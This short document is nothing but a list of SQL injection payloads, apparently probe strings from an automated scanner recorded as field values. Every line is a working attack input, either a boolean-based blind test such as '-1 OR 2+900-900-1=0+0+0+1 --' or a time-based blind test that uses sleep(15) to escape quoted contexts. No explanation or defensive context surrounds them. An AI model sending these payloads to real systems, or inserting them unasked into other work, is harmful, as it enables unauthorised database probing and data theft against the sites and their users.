555

-1 OR 2+900-900-1=0+0+0+1 --

-1 OR 2+390-390-1=0+0+0+1

-1' OR 2+570-570-1=0+0+0+1 --

-1' OR 2+745-745-1=0+0+0+1 or '5HCUSbVA'='

-1" OR 2+913-913-1=0+0+0+1 --

555*if(now()=sysdate(),sleep(15),0)

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/